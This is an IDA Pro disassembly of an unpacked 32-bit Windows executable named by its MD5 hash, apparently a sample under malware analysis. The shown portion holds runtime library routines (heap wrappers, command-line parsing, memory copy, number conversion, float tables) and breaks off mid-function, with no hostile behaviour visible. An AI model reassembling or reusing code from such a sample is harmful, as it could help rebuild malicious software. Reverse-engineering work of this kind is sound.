; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 98EAEB8598B2F63016F084984F08D9F0 ; File Name : u:\work\98eaeb8598b2f63016f084984f08d9f0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_401000 dd offset dword_401004 ; DATA XREF: CODE:004066C1r ; CODE:00406700r ... dword_401004 dd 7453060Ah, 676E6972h, 401058h, 7 dup(0) ; DATA XREF: CODE:off_401000o dd offset dword_401058 dd 4, 0 dd offset loc_401B70 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_401B84 dd offset nullsub_4 dd offset sub_401A3C dd offset sub_401A58 dd offset sub_401A74 dword_401058 dd 624F5407h, 7463656Ah, 0B10025FFh, 0C08B0040h ; DATA XREF: CODE:0040102Co ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401068 proc near ; CODE XREF: sub_401158+Dp jmp ds:dword_40B0FC sub_401068 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401070 proc near ; CODE XREF: sub_401190+11p jmp ds:dword_40B0F8 sub_401070 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401078 proc near ; CODE XREF: sub_40116C+13p jmp ds:dword_40B0F4 sub_401078 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401080 proc near ; CODE XREF: sub_4021FC+7Cp jmp ds:dword_40B0F0 sub_401080 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401088 proc near ; CODE XREF: sub_401488+24p ; sub_402A70+1Ep ... jmp ds:dword_40B0EC sub_401088 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401090 proc near ; CODE XREF: sub_402AF4+1Dp ; sub_4030D8+Cp jmp ds:dword_40B0E8 sub_401090 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401098 proc near ; CODE XREF: sub_403034+3p jmp ds:dword_40B0E4 sub_401098 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_40308C+25p ; sub_40308C+36p jmp ds:dword_40B0E0 sub_4010A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A8 proc near ; CODE XREF: sub_403048+3Dp jmp ds:dword_40B0DC sub_4010A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B0 proc near ; CODE XREF: sub_401428+17p ; sub_401488:loc_4014BEp jmp ds:dword_40B0D8 sub_4010B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B8 proc near ; CODE XREF: sub_401C24+14p ; sub_401C40+16p ... jmp ds:dword_40B0D4 sub_4010B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C0 proc near ; CODE XREF: sub_401D08+D2p ; sub_407AFC-5B9Ap ; DATA XREF: ... jmp ds:dword_40B0D0 sub_4010C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_401D08+6Ap ; sub_401D08+A7p ... jmp ds:dword_40B0CC sub_4010C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D0 proc near ; CODE XREF: sub_40133C+Bp ; sub_40133C+37p ... jmp ds:dword_40B10C sub_4010D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D8 proc near ; CODE XREF: sub_4021FC+B2p jmp ds:dword_40B0C8 sub_4010D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E0 proc near ; CODE XREF: sub_402AF4+117p jmp ds:dword_40B0C4 sub_4010E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E8 proc near ; CODE XREF: sub_402AF4+10Ap jmp ds:dword_40B0C0 sub_4010E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F0 proc near ; CODE XREF: sub_402CAC+12Fp jmp ds:dword_40B0BC sub_4010F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F8 proc near ; CODE XREF: sub_402AF4+2Ep jmp ds:dword_40B0B8 sub_4010F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401100 proc near ; CODE XREF: sub_402CAC+129p jmp ds:dword_40B0B4 sub_401100 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401108 proc near ; CODE XREF: sub_402CAC+1B1p ; sub_402CAC+1E9p ... jmp ds:dword_40B0B0 sub_401108 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401110 proc near ; CODE XREF: sub_402F64+31p jmp ds:dword_40B108 sub_401110 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_402AF4+5Ep ; sub_402AF4+C2p ... jmp ds:dword_40B0AC sub_401118 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401120 proc near ; CODE XREF: sub_402AF4+123p ; sub_402AF4+163p ... jmp ds:dword_40B0A8 sub_401120 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401128 proc near ; CODE XREF: sub_402CAC+FFp jmp ds:dword_40B11C sub_401128 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401130 proc near ; CODE XREF: sub_402CAC+3Ap ; sub_402CAC+58p ... jmp ds:dword_40B118 sub_401130 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401138 proc near ; CODE XREF: sub_402CAC+BFp ; sub_402CAC+DDp jmp ds:dword_40B114 sub_401138 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_402400+12p jmp ds:dword_40B0A4 sub_401140 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401148 proc near ; CODE XREF: sub_4027D8+Ep jmp ds:dword_40B124 sub_401148 endp ; --------------------------------------------------------------------------- align 10h jmp ds:dword_40B0A0 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401158 proc near ; CODE XREF: sub_4011A8+4p ; sub_4011D8+3Fp ; DATA XREF: ... push eax mov eax, ds:dword_409038 push eax mov eax, ds:dword_40A3DC push eax call sub_401068 ; RtlAllocateHeap retn sub_401158 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40116C proc near ; CODE XREF: sub_4011C0+4p ; sub_4011D8+26p ; DATA XREF: ... push ebx mov ebx, eax push ebx mov eax, ds:dword_409038 and eax, 1 push eax mov eax, ds:dword_40A3DC push eax call sub_401078 ; RtlFreeHeap cmp eax, 1 sbb eax, eax neg eax and eax, 7Fh pop ebx retn sub_40116C endp ; =============== S U B R O U T I N E ======================================= sub_401190 proc near ; CODE XREF: sub_4011D8+Dp ; DATA XREF: DATA:off_409044o push edx push eax mov eax, ds:dword_409038 and eax, 0 push eax mov eax, ds:dword_40A3DC push eax call sub_401070 ; RtlReAllocateHeap retn sub_401190 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4011A8 proc near ; CODE XREF: sub_401A3C+Ap ; sub_4023A4+Cp test eax, eax jz short locret_4011B6 call ds:off_40903C or eax, eax jz short loc_4011B7 locret_4011B6: ; CODE XREF: sub_4011A8+2j retn ; --------------------------------------------------------------------------- loc_4011B7: ; CODE XREF: sub_4011A8+Cj mov al, 1 jmp loc_401280 sub_4011A8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011C0 proc near ; CODE XREF: sub_401A58+Cp ; sub_4022E4+1Bp ... test eax, eax jz short locret_4011CE call ds:off_409040 or eax, eax jnz short loc_4011CF locret_4011CE: ; CODE XREF: sub_4011C0+2j retn ; --------------------------------------------------------------------------- loc_4011CF: ; CODE XREF: sub_4011C0+Cj mov al, 2 jmp loc_401280 sub_4011C0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4011D8 proc near ; CODE XREF: sub_402774+22p ; FUNCTION CHUNK AT 00401280 SIZE 0000000B BYTES mov ecx, [eax] test ecx, ecx jz short loc_401210 test edx, edx jz short loc_4011FA push eax mov eax, ecx call ds:off_409044 pop ecx or eax, eax jz short loc_401209 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_4011F3: ; CODE XREF: sub_4011D8+2Ej mov al, 2 jmp loc_401280 ; --------------------------------------------------------------------------- loc_4011FA: ; CODE XREF: sub_4011D8+8j mov [eax], edx mov eax, ecx call ds:off_409040 or eax, eax jnz short loc_4011F3 retn ; --------------------------------------------------------------------------- loc_401209: ; CODE XREF: sub_4011D8+16j ; sub_4011D8+48j mov al, 1 jmp loc_401280 ; --------------------------------------------------------------------------- loc_401210: ; CODE XREF: sub_4011D8+4j test edx, edx jz short locret_401224 push eax mov eax, edx call ds:off_40903C pop ecx or eax, eax jz short loc_401209 mov [ecx], eax locret_401224: ; CODE XREF: sub_4011D8+3Aj retn sub_4011D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401228 proc near ; CODE XREF: sub_401234+42p mov ds:dword_409004, edx call sub_4022CC sub_401228 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401234 proc near ; CODE XREF: sub_4011D8+AEj push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_40A008, 0 jz short loc_401250 mov edx, esi mov eax, ebx call ds:dword_40A008 loc_401250: ; CODE XREF: sub_401234+10j test bl, bl jnz short loc_401261 call sub_40308C mov ebx, [eax+4] jmp short loc_401270 ; --------------------------------------------------------------------------- loc_401261: ; CODE XREF: sub_401234+1Ej cmp bl, 18h ja short loc_401270 xor eax, eax mov al, bl mov bl, ds:byte_409048[eax] loc_401270: ; CODE XREF: sub_401234+2Bj ; sub_401234+30j xor eax, eax mov al, bl mov edx, esi call sub_401228 sub_401234 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4011D8 loc_401280: ; CODE XREF: sub_4011A8+11j ; sub_4011C0+11j ... and eax, 7Fh mov edx, [esp+0] jmp sub_401234 ; END OF FUNCTION CHUNK FOR sub_4011D8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push eax push edx push ecx call sub_40308C cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_4012A1 retn ; --------------------------------------------------------------------------- loc_4012A1: ; CODE XREF: CODE:0040129Ej xor eax, eax jmp loc_401280 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4012AC proc near ; CODE XREF: sub_4014E8+3Cp push ebx mov ebx, eax call sub_40308C mov [eax+4], ebx pop ebx retn sub_4012AC endp ; =============== S U B R O U T I N E ======================================= sub_4012BC proc near ; CODE XREF: sub_405564+7p push ebx call sub_40308C mov ebx, [eax+4] call sub_40308C xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_4012BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4012DC proc near ; CODE XREF: sub_40153C+14p ; sub_402338+1Bp ... cmp ecx, 4 jge short loc_4012FD jcxz locret_40133B cmp eax, edx jz short locret_40133B push esi push edi mov esi, eax mov edi, edx ja short loc_4012F9 lea esi, [ecx+esi-1] lea edi, [ecx+edi-1] std loc_4012F9: ; CODE XREF: sub_4012DC+12j rep movsb jmp short loc_401329 ; --------------------------------------------------------------------------- loc_4012FD: ; CODE XREF: sub_4012DC+3j cmp eax, edx jz short locret_40133B push esi push edi mov esi, eax mov edi, edx mov eax, ecx ja short loc_40132B and ecx, 3 lea esi, [eax+esi-1] lea edi, [eax+edi-1] std rep movsb sar eax, 2 mov ecx, eax mov eax, 3 sub esi, eax sub edi, eax rep movsd loc_401329: ; CODE XREF: sub_4012DC+1Fj cld dec ecx loc_40132B: ; CODE XREF: sub_4012DC+2Dj sar ecx, 2 js short loc_401339 rep movsd and eax, 3 mov ecx, eax rep movsb loc_401339: ; CODE XREF: sub_4012DC+52j pop edi pop esi locret_40133B: ; CODE XREF: sub_4012DC+5j ; sub_4012DC+Aj ... retn sub_4012DC endp ; =============== S U B R O U T I N E ======================================= sub_40133C proc near ; CODE XREF: sub_401428+1Fp ; sub_401428+2Bp ... push ebx push esi push edi push ebp mov esi, edx mov ebx, eax jmp short loc_40134E ; --------------------------------------------------------------------------- loc_401346: ; CODE XREF: sub_40133C+1Aj push ebx call sub_4010D0 ; CharNextA mov ebx, eax loc_40134E: ; CODE XREF: sub_40133C+8j ; sub_40133C+2Aj mov al, [ebx] test al, al jz short loc_401358 cmp al, 20h jbe short loc_401346 loc_401358: ; CODE XREF: sub_40133C+16j cmp byte ptr [ebx], 22h jnz short loc_401368 cmp byte ptr [ebx+1], 22h jnz short loc_401368 add ebx, 2 jmp short loc_40134E ; --------------------------------------------------------------------------- loc_401368: ; CODE XREF: sub_40133C+1Fj ; sub_40133C+25j xor ebp, ebp mov edi, ebx jmp short loc_4013B1 ; --------------------------------------------------------------------------- loc_40136E: ; CODE XREF: sub_40133C+79j cmp al, 22h jnz short loc_4013A3 push ebx call sub_4010D0 ; CharNextA mov ebx, eax jmp short loc_40138A ; --------------------------------------------------------------------------- loc_40137C: ; CODE XREF: sub_40133C+56j push ebx call sub_4010D0 ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_40138A: ; CODE XREF: sub_40133C+3Ej mov al, [ebx] test al, al jz short loc_401394 cmp al, 22h jnz short loc_40137C loc_401394: ; CODE XREF: sub_40133C+52j cmp byte ptr [ebx], 0 jz short loc_4013B1 push ebx call sub_4010D0 ; CharNextA mov ebx, eax jmp short loc_4013B1 ; --------------------------------------------------------------------------- loc_4013A3: ; CODE XREF: sub_40133C+34j push ebx call sub_4010D0 ; CharNextA mov edx, eax sub edx, ebx add ebp, edx mov ebx, eax loc_4013B1: ; CODE XREF: sub_40133C+30j ; sub_40133C+5Bj ... mov al, [ebx] cmp al, 20h ja short loc_40136E mov eax, esi mov edx, ebp call sub_402774 mov ebx, edi mov edi, [esi] xor esi, esi jmp short loc_401419 ; --------------------------------------------------------------------------- loc_4013C8: ; CODE XREF: sub_40133C+E1j cmp al, 22h jnz short loc_401404 push ebx call sub_4010D0 ; CharNextA mov ebx, eax jmp short loc_4013EB ; --------------------------------------------------------------------------- loc_4013D6: ; CODE XREF: sub_40133C+B7j push ebx call sub_4010D0 ; CharNextA cmp eax, ebx jbe short loc_4013EB loc_4013E0: ; CODE XREF: sub_40133C+ADj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_4013E0 loc_4013EB: ; CODE XREF: sub_40133C+98j ; sub_40133C+A2j mov al, [ebx] test al, al jz short loc_4013F5 cmp al, 22h jnz short loc_4013D6 loc_4013F5: ; CODE XREF: sub_40133C+B3j cmp byte ptr [ebx], 0 jz short loc_401419 push ebx call sub_4010D0 ; CharNextA mov ebx, eax jmp short loc_401419 ; --------------------------------------------------------------------------- loc_401404: ; CODE XREF: sub_40133C+8Ej push ebx call sub_4010D0 ; CharNextA cmp eax, ebx jbe short loc_401419 loc_40140E: ; CODE XREF: sub_40133C+DBj mov dl, [ebx] mov [edi+esi], dl inc ebx inc esi cmp eax, ebx ja short loc_40140E loc_401419: ; CODE XREF: sub_40133C+8Aj ; sub_40133C+BCj ... mov al, [ebx] cmp al, 20h ja short loc_4013C8 mov eax, ebx pop ebp pop edi pop esi pop ebx retn sub_40133C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401428 proc near ; CODE XREF: CODE:00408262p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00401FBC SIZE 00000036 BYTES push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_401479 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi call sub_4010B0 ; GetCommandLineA lea edx, [ebp+var_4] call sub_40133C mov ebx, eax loc_40144E: ; CODE XREF: sub_401428+39j lea edx, [ebp+var_4] mov eax, ebx call sub_40133C mov ebx, eax cmp [ebp+var_4], 0 jz short loc_401463 inc esi jmp short loc_40144E ; --------------------------------------------------------------------------- loc_401463: ; CODE XREF: sub_401428+36j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401480 loc_401470: ; CODE XREF: sub_401428+56j lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_401479: ; DATA XREF: sub_401428+Ao jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_401470 ; --------------------------------------------------------------------------- loc_401480: ; CODE XREF: sub_401428+50j ; DATA XREF: sub_401428+43o mov eax, esi pop esi pop ebx pop ecx pop ebp retn sub_401428 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401488 proc near ; CODE XREF: sub_407CDC+A5p ; CODE:0040828Bp ... var_114 = byte ptr -114h push ebx push esi push edi add esp, 0FFFFFEF8h mov ebx, edx mov esi, eax mov eax, ebx call sub_4022E4 test esi, esi jnz short loc_4014BE push 105h lea eax, [esp+118h+var_114] push eax push 0 call sub_401088 ; GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, ebx call sub_4023D0 jmp short loc_4014DC ; --------------------------------------------------------------------------- loc_4014BE: ; CODE XREF: sub_401488+16j call sub_4010B0 ; GetCommandLineA mov edi, eax loc_4014C5: ; CODE XREF: sub_401488+52j mov edx, ebx mov eax, edi call sub_40133C mov edi, eax test esi, esi jz short loc_4014DC cmp dword ptr [ebx], 0 jz short loc_4014DC dec esi jmp short loc_4014C5 ; --------------------------------------------------------------------------- loc_4014DC: ; CODE XREF: sub_401488+34j ; sub_401488+4Aj ... add esp, 108h pop edi pop esi pop ebx retn sub_401488 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4014E8 proc near ; CODE XREF: CODE:00401533p push ebx mov cx, [eax+4] sub cx, 0D7B1h jz short loc_401503 dec ecx sub cx, 2 jnb short loc_401507 mov ebx, edx call ebx mov ebx, eax jmp short loc_40151E ; --------------------------------------------------------------------------- loc_401503: ; CODE XREF: sub_4014E8+Aj xor ebx, ebx jmp short loc_40151E ; --------------------------------------------------------------------------- loc_401507: ; CODE XREF: sub_4014E8+11j cmp eax, offset dword_40A040 jz short loc_401515 cmp eax, offset dword_40A20C jnz short loc_401519 loc_401515: ; CODE XREF: sub_4014E8+24j xor ebx, ebx jmp short loc_40151E ; --------------------------------------------------------------------------- loc_401519: ; CODE XREF: sub_4014E8+2Bj mov ebx, 67h loc_40151E: ; CODE XREF: sub_4014E8+19j ; sub_4014E8+1Dj ... test ebx, ebx jz short loc_401529 mov eax, ebx call sub_4012AC loc_401529: ; CODE XREF: sub_4014E8+38j mov eax, ebx pop ebx retn sub_4014E8 endp ; --------------------------------------------------------------------------- align 10h mov edx, [eax+1Ch] call sub_4014E8 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40153C proc near ; CODE XREF: sub_4078FC+28p push ebx mov bl, [edx] cmp cl, bl jbe short loc_401545 mov ecx, ebx loc_401545: ; CODE XREF: sub_40153C+5j mov [eax], cl inc edx inc eax and ecx, 0FFh xchg eax, edx call sub_4012DC pop ebx retn sub_40153C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401558 proc near ; CODE XREF: sub_407AFC-5C4Ep push ebx push esi push ecx mov esi, ecx shr esi, 2 jz short loc_401588 loc_401562: ; CODE XREF: sub_401558+26j mov ecx, [eax] mov ebx, [edx] cmp ecx, ebx jnz short loc_4015AF dec esi jz short loc_401582 mov ecx, [eax+4] mov ebx, [edx+4] cmp ecx, ebx jnz short loc_4015AF add eax, 8 add edx, 8 dec esi jnz short loc_401562 jmp short loc_401588 ; --------------------------------------------------------------------------- loc_401582: ; CODE XREF: sub_401558+13j add eax, 4 add edx, 4 loc_401588: ; CODE XREF: sub_401558+8j ; sub_401558+28j pop esi and esi, 3 jz short loc_4015C4 mov cl, [eax] cmp cl, [edx] jnz short loc_4015C4 dec esi jz short loc_4015AA mov cl, [eax+1] cmp cl, [edx+1] jnz short loc_4015C4 dec esi jz short loc_4015AA mov cl, [eax+2] cmp cl, [edx+2] jnz short loc_4015C4 loc_4015AA: ; CODE XREF: sub_401558+3Dj ; sub_401558+48j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4015AF: ; CODE XREF: sub_401558+10j ; sub_401558+1Dj pop esi cmp cl, bl jnz short loc_4015C4 cmp ch, bh jnz short loc_4015C4 shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_4015C4 cmp ch, bh loc_4015C4: ; CODE XREF: sub_401558+34j ; sub_401558+3Aj ... pop esi pop ebx retn sub_401558 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015C8 proc near ; CODE XREF: sub_406930+7Ep ; sub_406B18+235p ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_4015E5 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_4015E5: ; CODE XREF: sub_4015C8+12j pop edi retn sub_4015C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4015E8 proc near ; CODE XREF: sub_401648+4p var_26 = byte ptr -26h var_24 = byte ptr -24h var_10 = dword ptr -10h push ebx push esi push edi push edx sub esp, 14h mov edi, ecx mov esi, eax cdq xor eax, edx sub eax, edx mov ecx, 0Ah xor ebx, ebx loc_4015FF: ; CODE XREF: sub_4015E8+24j xor edx, edx div ecx add edx, 30h mov [esp+ebx+24h+var_24], dl inc ebx test eax, eax jnz short loc_4015FF test esi, esi jge short loc_401617 mov [esp+ebx+24h+var_24], 2Dh inc ebx loc_401617: ; CODE XREF: sub_4015E8+28j mov [edi], bl inc edi mov ecx, [esp+24h+var_10] cmp ecx, 0FFh jle short loc_40162B mov ecx, 0FFh loc_40162B: ; CODE XREF: sub_4015E8+3Cj sub ecx, ebx jle short loc_401636 add [edi-1], cl mov al, 20h rep stosb loc_401636: ; CODE XREF: sub_4015E8+45j ; sub_4015E8+56j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_401636 add esp, 18h pop edi pop esi pop ebx retn sub_4015E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401648 proc near ; CODE XREF: sub_4078FC+18p mov ecx, edx xor edx, edx call sub_4015E8 retn sub_401648 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401654 proc near ; CODE XREF: sub_403F2C+6p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_4016CA xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_401667: ; CODE XREF: sub_401654+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_401667 mov ch, 0 cmp bl, 2Dh jz short loc_4016D8 cmp bl, 2Bh jz short loc_4016DA cmp bl, 24h jz short loc_4016DF cmp bl, 78h jz short loc_4016DF cmp bl, 58h jz short loc_4016DF cmp bl, 30h jnz short loc_4016A2 mov bl, [esi] inc esi cmp bl, 78h jz short loc_4016DF cmp bl, 58h jz short loc_4016DF test bl, bl jz short loc_4016C0 jmp short loc_4016A6 ; --------------------------------------------------------------------------- loc_4016A2: ; CODE XREF: sub_401654+39j ; sub_401654+89j test bl, bl jz short loc_4016D3 loc_4016A6: ; CODE XREF: sub_401654+4Cj ; sub_401654+6Aj sub bl, 30h cmp bl, 9 ja short loc_4016D3 cmp eax, edi ja short loc_4016D3 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_4016A6 loc_4016C0: ; CODE XREF: sub_401654+4Aj dec ch jz short loc_4016CD test eax, eax jge short loc_401716 jmp short loc_4016D3 ; --------------------------------------------------------------------------- loc_4016CA: ; CODE XREF: sub_401654+8j ; sub_401654+95j inc esi jmp short loc_4016D3 ; --------------------------------------------------------------------------- loc_4016CD: ; CODE XREF: sub_401654+6Ej neg eax jle short loc_401716 js short loc_401716 loc_4016D3: ; CODE XREF: sub_401654+50j ; sub_401654+58j ... pop ebx sub esi, ebx jmp short loc_401719 ; --------------------------------------------------------------------------- loc_4016D8: ; CODE XREF: sub_401654+20j inc ch loc_4016DA: ; CODE XREF: sub_401654+25j mov bl, [esi] inc esi jmp short loc_4016A2 ; --------------------------------------------------------------------------- loc_4016DF: ; CODE XREF: sub_401654+2Aj ; sub_401654+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_4016CA loc_4016EB: ; CODE XREF: sub_401654+C0j cmp bl, 61h jb short loc_4016F3 sub bl, 20h loc_4016F3: ; CODE XREF: sub_401654+9Aj sub bl, 30h cmp bl, 9 jbe short loc_401706 sub bl, 11h cmp bl, 5 ja short loc_4016D3 add bl, 0Ah loc_401706: ; CODE XREF: sub_401654+A5j cmp eax, edi ja short loc_4016D3 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_4016EB loc_401716: ; CODE XREF: sub_401654+72j ; sub_401654+7Bj ... pop ecx xor esi, esi loc_401719: ; CODE XREF: sub_401654+82j mov [edx], esi pop edi pop esi pop ebx retn sub_401654 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401720 proc near ; CODE XREF: sub_405E14+A5p push esi push edi mov esi, eax mov edi, edx and ecx, 0FFh repe cmpsb pop edi pop esi retn sub_401720 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401734 proc near ; CODE XREF: sub_404A01+58p jmp sub_40173C sub_401734 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40173C proc near ; CODE XREF: sub_401734j push ebx xor ebx, ebx test eax, eax jl short loc_401790 jz loc_4017DF cmp eax, 1400h jge loc_4017D5 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte ptr [ebx+edx*2+4017EBh] fmulp st(1), st shr eax, 5 jz short loc_4017DF mov edx, eax and edx, 0Fh jz short loc_40177D lea edx, [edx+edx*4] fld tbyte ptr [ebx+edx*2+401921h] fmulp st(1), st loc_40177D: ; CODE XREF: sub_40173C+33j shr eax, 4 jz short loc_4017DF lea eax, [eax+eax*4] fld tbyte ptr [ebx+eax*2+4019B7h] fmulp st(1), st jmp short loc_4017DF ; --------------------------------------------------------------------------- loc_401790: ; CODE XREF: sub_40173C+5j neg eax cmp eax, 1400h jge short loc_4017DD mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte ptr [ebx+edx*2+4017EBh] fdivp st(1), st shr eax, 5 jz short loc_4017DF mov edx, eax and edx, 0Fh jz short loc_4017C2 lea edx, [edx+edx*4] fld tbyte ptr [ebx+edx*2+401921h] fdivp st(1), st loc_4017C2: ; CODE XREF: sub_40173C+78j shr eax, 4 jz short loc_4017DF lea eax, [eax+eax*4] fld tbyte ptr [ebx+eax*2+4019B7h] fdivp st(1), st jmp short loc_4017DF ; --------------------------------------------------------------------------- loc_4017D5: ; CODE XREF: sub_40173C+12j fld tbyte ptr [ebx+4017E1h] jmp short loc_4017DF ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_40173C+5Bj fldz loc_4017DF: 